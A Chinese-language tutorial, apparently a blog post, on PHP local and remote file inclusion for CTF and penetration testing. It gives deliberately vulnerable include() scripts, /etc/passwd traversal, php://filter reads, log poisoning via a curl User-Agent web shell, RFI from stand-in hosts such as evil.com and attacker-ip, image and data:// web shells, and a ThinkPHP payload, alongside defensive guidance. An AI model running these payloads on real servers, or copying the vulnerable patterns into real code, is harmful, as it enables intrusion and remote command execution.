1. 项目概述:为什么文件包含漏洞是Web安全的“必修课”
在Web渗透测试和CTF竞赛的赛场上,PHP文件包含漏洞(File Inclusion Vulnerability)是一个经久不衰的核心考点。无论是初出茅庐的安全爱好者,还是经验丰富的红队成员,都必须深刻理解其原理、利用手法和防御策略。这个漏洞之所以重要,是因为它像一把“万能钥匙”,一旦存在,攻击者就可能从简单的本地文件读取(LFI),一路升级到危险的远程代码执行(RFI),最终完全控制服务器。我见过太多因为一个不起眼的include($_GET[‘page’])而全线崩溃的案例。
简单来说,文件包含漏洞源于PHP中include、require、include_once、require_once等函数对包含文件路径的过滤不严。攻击者可以操控这个路径参数,让服务器去包含并执行非预期的文件。从读取敏感配置文件(如/etc/passwd)到直接执行远程服务器上的恶意脚本,危害等级天差地别。近年来,随着CTF赛事的普及和题目难度的提升,围绕文件包含漏洞的利用技巧也层出不穷,比如结合PHP伪协议、日志注入、Session文件包含、甚至是利用临时文件等,这些都已经成为现代Web安全实战中的标准操作。
这篇文章,我将从一个实战演练的角度,带你从最基础的LFI开始,一步步拆解到复杂的RFI,并穿插解析最新的CTF实战案例。我的目标不是让你成为只会用工具的“脚本小子”,而是真正理解每一次点击、每一条命令背后的逻辑,知道为什么这个技巧有效,以及如何从防御者的角度去堵上这些漏洞。无论你是正在入门CTF的选手,还是希望提升代码审计能力的开发者,相信这篇深度解析都能给你带来实实在在的收获。
2. 漏洞原理深度剖析:不仅仅是“包含”那么简单
要打好攻防战,必须先理解战场。文件包含漏洞的核心在于“信任边界”的失控。PHP的设计初衷是为了提高代码的复用性,开发者可以将常用的头部、尾部、功能模块写成独立的文件,然后在需要的地方包含进来。问题就出在,这个“需要包含的文件路径”如果完全由用户输入控制,而开发者又没有进行严格的校验,那么整个文件系统的边界就对攻击者敞开了。
2.1 LFI(本地文件包含)的根源
LFI,即Local File Inclusion,攻击者只能包含服务器本地文件系统上的文件。它的典型代码缺陷长这样:
<?php $page = $_GET['page']; // 直接接收用户输入 include('/pages/' . $page . '.php'); // 拼接后直接包含 ?>看起来,代码似乎限定了目录(/pages/)和后缀(.php)。但如果攻击者传入page=../../../etc/passwd%00呢?在古老的PHP版本(<5.3.4)中,%00(空字节)会截断其后的字符串,使得.php后缀失效,从而成功包含/etc/passwd文件。这就是经典的“空字节截断”漏洞。虽然现代PHP版本已修复此问题,但许多遗留系统或出题人为了“致敬经典”,仍会构造此类环境。
更常见的情况是,代码没有任何过滤:
<?php include($_GET['file']); ?>这就意味着攻击者可以尝试包含任何路径:
/etc/passwd:读取系统用户列表。/var/log/apache2/access.log:读取Web访问日志,可能包含攻击者注入的代码。/proc/self/environ:包含环境变量,如果其中存在用户可控的HTTP头(如User-Agent),则可注入代码。php://filter伪协议:这才是LFI真正的“王牌”,我们稍后详细讲。
注意:LFI的危害不仅仅是信息泄露。当它可以与文件上传、日志记录、Session存储等结合时,就为代码执行打开了大门,这被称为“LFI to RCE(远程代码执行)”。
2.2 RFI(远程文件包含)的致命性
RFI,即Remote File Inclusion,比LFI更危险。它允许攻击者包含远程服务器(如攻击者自己控制的服务器)上的文件。触发RFI需要满足一个关键条件:PHP配置中的allow_url_include选项设置为On(默认是Off)。在CTF题目或一些老旧、配置不当的生产环境中,这个条件可能被满足。
漏洞代码和LFI类似:
<?php include($_GET['url']); ?>攻击者可以传入http://evil.com/shell.txt。PHP会去请求这个URL,并将返回的内容当作PHP代码来执行。shell.txt里只需要写一句<?php system($_GET[‘cmd’]);?>,一个WebShell就部署完成了。
RFI的利用之所以高效,是因为它分离了“攻击载荷”和“攻击入口”。攻击者无需费力在目标服务器上写入文件,只需要维护一个远程的恶意脚本即可。在实战中,如果看到allow_url_include=On的提示,几乎等同于宣告了服务器的“死刑”。
2.3 PHP伪协议:LFI的“瑞士军刀”
空字节截断成为历史后,PHP内置的各种伪协议(Wrapper)成为了LFI利用的主力军。它们不需要allow_url_include开启,因为它们是“本地”的协议处理器。最常用、最强大的是php://filter。
它的基本语法是:php://filter/read=convert.base64-encode/resource=目标文件例如:?file=php://filter/read=convert.base64-encode/resource=index.php
为什么是Base64编码?直接包含一个.php文件,PHP引擎会执行它,我们只能看到执行结果(通常是空白或HTML)。而通过convert.base64-encode过滤器,我们可以将文件内容以Base64编码的形式读取出来,解码后就能获得完整的源代码。这对于代码审计和寻找其他漏洞至关重要。
除了convert.base64-encode,还有其他过滤器,如string.rot13、string.toupper等,有时可以用于绕过简单的关键词过滤。php://input伪协议也值得一提,它允许你将POST请求的原始体作为PHP代码执行,但这通常需要allow_url_include=On。
理解这些协议,就像拿到了文件包含漏洞的“武器库清单”。在接下来的实战环节,我们会反复使用它们。
3. 从LFI到RFI的实战攻防演练
理论讲得再多,不如亲手操作一遍。下面我们搭建一个简单的漏洞环境,进行从信息泄露到完全控制的全流程演练。我建议你在本地虚拟机或Docker环境中跟随操作,感受每一步的反馈。
3.1 环境搭建与基础LFI利用
首先,我们创建一个存在漏洞的脚本vuln.php:
<?php // vuln.php - 存在文件包含漏洞的页面 if (isset($_GET['file'])) { include($_GET['file']); } else { echo "请通过file参数指定要包含的文件。"; } ?>把它放在你的Web服务器根目录(如/var/www/html/)。同时,创建一个正常的页面/var/www/html/secret.php,内容为<?php $flag = “FLAG{LFI_TEST_123}”; ?>。
第一步:基础文件读取访问:http://your-ip/vuln.php?file=secret.php你会发现页面是空白的,因为secret.php被当作代码执行了,$flag变量被定义但没有输出。
第二步:使用php://filter读取源码访问:http://your-ip/vuln.php?file=php://filter/read=convert.base64-encode/resource=secret.php页面会显示一串Base64编码:PD9waHAgJGZsYWcgPSAiRkxBR3xMRklfVEVTVF8xMjMiOyA/Pg==解码后(可用在线工具或echo ‘编码’ | base64 -d命令),得到<?php $flag = “FLAG{LFI_TEST_123}”; ?>。成功读取源代码!
第三步:读取系统文件尝试:http://your-ip/vuln.php?file=../../../../etc/passwd如果权限允许,你将看到系统的用户列表。这就是敏感信息泄露。
3.2 LFI到RCE的经典路径:日志文件注入
单纯的读取已经不能满足我们了,我们要执行命令。假设服务器是Apache,且日志文件默认位置可读。这是一个非常经典的技巧。
- 找到日志路径:通常为
/var/log/apache2/access.log或/var/log/httpd/access_log。你可以通过LFI读取/proc/self/fd/下的文件描述符或尝试常见路径来确认。 - 污染日志:我们向服务器发送一个请求,在HTTP头中注入PHP代码。因为
User-Agent、Referer等头信息会被记录到访问日志中。curl -H “User-Agent: <?php system($_GET[‘c’]);?>” http://your-ip/vuln.php - 包含日志文件:现在,日志文件中已经有一行包含我们的恶意代码。通过LFI去包含这个日志文件:
http://your-ip/vuln.php?file=/var/log/apache2/access.log&c=id如果成功,页面会显示命令id的执行结果(如uid=33(www-data) gid=33(www-data) groups=33(www-data))。
实操心得:日志文件通常很大,直接包含可能导致超时或内存不足。一个技巧是,在注入代码后,立即发送大量请求(例如用Burp Suite的Intruder),让我们的恶意日志行出现在日志文件的末尾附近,这样包含起来更快。另外,注意日志文件的权限,Web用户(如www-data)必须有读权限。
3.3 RFI实战:利用远程文件获取Shell
现在,我们修改PHP配置(仅用于实验!),开启RFI。在php.ini中设置allow_url_include = On并重启Web服务。
创建一个简单的恶意脚本,保存在另一台你可控的服务器上(或本地用Python启动一个HTTP服务),内容为:
<?php // evil.txt 放在 http://attacker-ip/evil.txt echo “Remote File Included!\n”; system($_GET[‘cmd’]); ?>在漏洞页面直接包含它:http://your-ip/vuln.php?file=http://attacker-ip/evil.txt&cmd=whoami
如果配置正确,你将看到“Remote File Included!”和当前Web服务的运行用户信息。这意味着你已经可以通过URL参数远程执行任意命令,一个功能完整的WebShell已经就绪。
防御视角:作为开发者,看到这里应该脊背发凉。关闭allow_url_include是绝对必须的。同时,任何用户输入在进入include、require函数前,都必须进行白名单校验或严格的路径过滤。
4. 高级利用技巧与CTF案例解析
CTF题目往往不会把漏洞赤裸裸地摆在你面前,它会加上各种过滤、限制,需要你利用更巧妙的技巧去绕过。下面结合近年的出题趋势,解析几个典型场景。
4.1 案例一:过滤了../和php关键字
题目代码可能如下:
<?php $file = $_GET[‘file’]; if (strpos($file, ‘../’) !== false || strpos($file, ‘php’) !== false) { die(‘Hacker!’); } include($file . ‘.php’); ?>它过滤了目录遍历符../和php字符串,并强制添加了.php后缀。
绕过思路:
- 利用编码:
php://filter中的php被过滤了。我们可以尝试使用大写PHP(如果系统大小写不敏感),或者使用URL编码%70%68%70(即php的URL编码)。但strpos通常是大小写敏感的。 - 利用PHP伪协议嵌套:
php://filter被过滤,但zip://或phar://协议可能没有被考虑。我们可以将恶意脚本压缩成ZIP包,然后通过zip://archive.zip#shell.php的方式来包含。但这需要我们能上传一个ZIP文件。 - 利用数据流:
php://input需要allow_url_include,且其中的php也会被过滤。 - 利用日志/Session包含:如果过滤不检查
/var/log或/tmp这类路径,且我们能污染日志或Session,依然可以走LFI to RCE的路线。
更巧妙的姿势:利用filter链进行编码绕过即使php被过滤,我们也可以尝试其他协议。但出题人可能只允许包含.php结尾的文件。这时,一个被称为“过滤器链”的技巧非常有用。我们可以利用php://filter的convert.iconv.过滤器进行字符集转换,将我们想要的Payload进行多次转换,最终绕过关键字检查。这需要对字符编码有较深的理解,在高端CTF中时有出现。
4.2 案例二:ThinkPHP等框架下的文件包含
在一些CTF题目或真实世界审计中,你可能会遇到类似“thinkphp3.2.3 { fast & simple oop php framework }”这样的提示。ThinkPHP 3.2.3版本曾存在一个因路由解析导致的文件包含漏洞。
漏洞大致源于框架在解析路由时,对控制器名的处理不当,导致可以将\转换为/,从而进行目录遍历。Payload可能形如:?s=Index/\think\Template/display&content=<?php phpinfo();?>。
这类漏洞的特点是:
- 入口点隐蔽:不是直接的
include($_GET[‘file’]),而是通过框架的机制触发。 - 需要了解框架:你必须知道ThinkPHP的模板引擎是如何工作的,
display方法可能会包含哪些文件。 - 过滤规则复杂:框架自带的过滤可能拦截了常见Payload,需要找到其盲点。
实战思路:遇到框架,先去搜索其历史漏洞。对于ThinkPHP 3.2.3,这个包含漏洞是已知的。在CTF中,出题人可能稍作修改,但核心原理不变。你需要做的就是构造出正确的参数,让框架的代码路径执行到那个有问题的包含语句上。
4.3 案例三:结合文件上传的图片WebShell
这是非常常见的组合拳。题目允许你上传图片,但会对文件内容进行检测(如图片头校验),防止直接上传PHP文件。同时,存在一个本地文件包含点。
攻击链:
- 制作一个图片WebShell:在一张正常图片的末尾,添加PHP代码
<?php system($_GET[‘c’]);?>。可以使用copy命令(Windows)或cat命令(Linux)拼接。cat normal.jpg shell.php > webshell.jpg - 上传
webshell.jpg,获得其存储路径,如/uploads/abc123.jpg。 - 利用文件包含漏洞去包含这个图片文件:
?file=/uploads/abc123.jpg - 如果服务器配置不当(如未配置
exif_imagetype过滤,或PHP版本较低),它会直接执行图片文件末尾的PHP代码。更稳妥的方式是,结合php://filter的convert.base64-decode等过滤器,剥离图片数据,只解码执行我们附加的Base64编码后的Payload。
注意事项:现代PHP环境和Web应用防火墙(WAF)对这种简单的图片马检测很严格。更高级的做法是将Payload隐藏在图片的EXIF信息中,或者使用更复杂的图像格式混淆。在CTF中,这通常考察你对文件格式和PHP执行流程的理解。
5. 防御方案与安全开发实践
攻防一体,了解了如何攻击,才能更好地防御。作为开发者,必须从源头杜绝此类漏洞。
5.1 输入验证:白名单优于黑名单
绝对不要使用黑名单过滤../、php等关键词。攻击者的绕过方法无穷无尽(编码、嵌套、冷门协议)。唯一可靠的方法是白名单。
<?php $allowed_pages = [‘home’, ‘about’, ‘contact’]; $page = $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘./templates/’ . $page . ‘.php’); } else { include(‘./templates/404.php’); } ?>只允许包含预定义好的文件,其他任何输入都返回错误或默认页面。
5.2 固定目录与后缀
如果必须动态包含,也应将目录固定,并强制添加后缀。
<?php $base_dir = ‘/var/www/html/includes/’; $file = basename($_GET[‘file’]); // 使用basename去掉路径 $path = $base_dir . $file . ‘.inc.php’; // 可选:再次检查路径是否仍在安全目录内 if (strpos(realpath($path), $base_dir) === 0) { include($path); } else { die(‘非法访问!’); } ?>这里用了basename()防止目录遍历,用realpath()解析真实路径并检查其是否以安全目录开头。
5.3 安全配置:关掉危险选项
在php.ini中进行全局安全配置:
allow_url_include = Off:永远关闭远程文件包含。allow_url_fopen = Off:根据业务需要决定,关闭可以增加安全性。open_basedir:设置PHP可以访问的目录范围,将其限制在Web目录所需的最小路径内,例如open_basedir = /var/www/html:/tmp。display_errors = Off:生产环境务必关闭错误显示,防止路径等敏感信息泄露。
5.4 框架与安全库
使用现代PHP框架(如Laravel, Symfony),它们有成熟的路由和视图加载机制,一般不会出现这种低级的动态文件包含。如果自行开发,可以考虑使用安全函数库来校验路径。
5.5 代码审计与自动化扫描
将安全作为开发流程的一部分。进行定期的代码审计,重点关注所有包含用户输入的文件操作函数(include,require,file_get_contents,fopen等)。使用静态代码分析工具(如phpcs配合安全规则、RIPS、Fortify SCA)进行自动化扫描,捕捉潜在漏洞。
6. CTF实战中文件包含漏洞的解题思路总结
在CTF赛场上,时间就是分数。面对文件包含类题目,可以遵循以下排查思路,快速定位突破口:
- 确认漏洞点:寻找
include,require等函数,其参数是否用户可控($_GET,$_POST,$_COOKIE等)。 - 判断类型:尝试读取
/etc/passwd或php://filter读取自身源码,确认是LFI。尝试包含一个不存在的远程URL(如http://test.test),观察错误信息是否显示allow_url_include相关提示,判断RFI可能性。 - 探测过滤规则:尝试输入各种Payload(
../,php://,data://,zip://,phar://,./,…/./等),观察返回信息是die(‘Hacker!’)、空白还是错误,以此推断后台过滤了哪些关键词或协议。 - 寻找可利用的中间文件:
- 日志文件:尝试包含
/var/log/apache2/access.log,并尝试污染User-Agent。 - Session文件:如果题目有登录功能,Session文件(通常位于
/tmp/sess_[PHPSESSID])内容可能部分可控(如存储用户名)。 - PHP临时文件:在上传文件时,PHP会生成临时文件,生命周期极短,利用条件苛刻,但在一些极端CTF题目中会出现。
/proc/self/environ:环境变量,可能包含可控的HTTP头。
- 日志文件:尝试包含
- 尝试编码绕过:如果过滤了
php,尝试大小写、双写phphp、URL编码、Hex编码、Base64编码等。利用convert.iconv.*过滤器进行字符集转换绕过。 - 结合其他漏洞:查看是否有文件上传点,上传图片马。查看是否有SSRF漏洞,利用其去读取内网文件再包含。查看框架类型,搜索历史漏洞。
- 利用伪协议:
php://filter读源码是必选项。data://协议(需allow_url_include=On)可以直接在参数中写入Base64编码的Payload,如data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=。 - 最终目标:无论是读取
/flag、/root/flag文件,还是执行命令find / -name flag*,最终都是为了获取那个唯一的Flag。
文件包含漏洞的魅力在于它的多样性和与其他漏洞强大的组合能力。从最初级的目录遍历到复杂的过滤器链编码绕过,它考验着攻击者对Web服务器、PHP语言特性、操作系统和编码知识的综合理解。对于防御者而言,它则是一个永恒的警示:永远不要信任用户输入,最小化攻击面,安全配置与安全编码同等重要。希望这篇近万字的深度解析,能成为你Web安全实战道路上的一块坚实垫脚石。在下次遇到include($file)时,你一定能立刻意识到它背后可能隐藏的腥风血雨。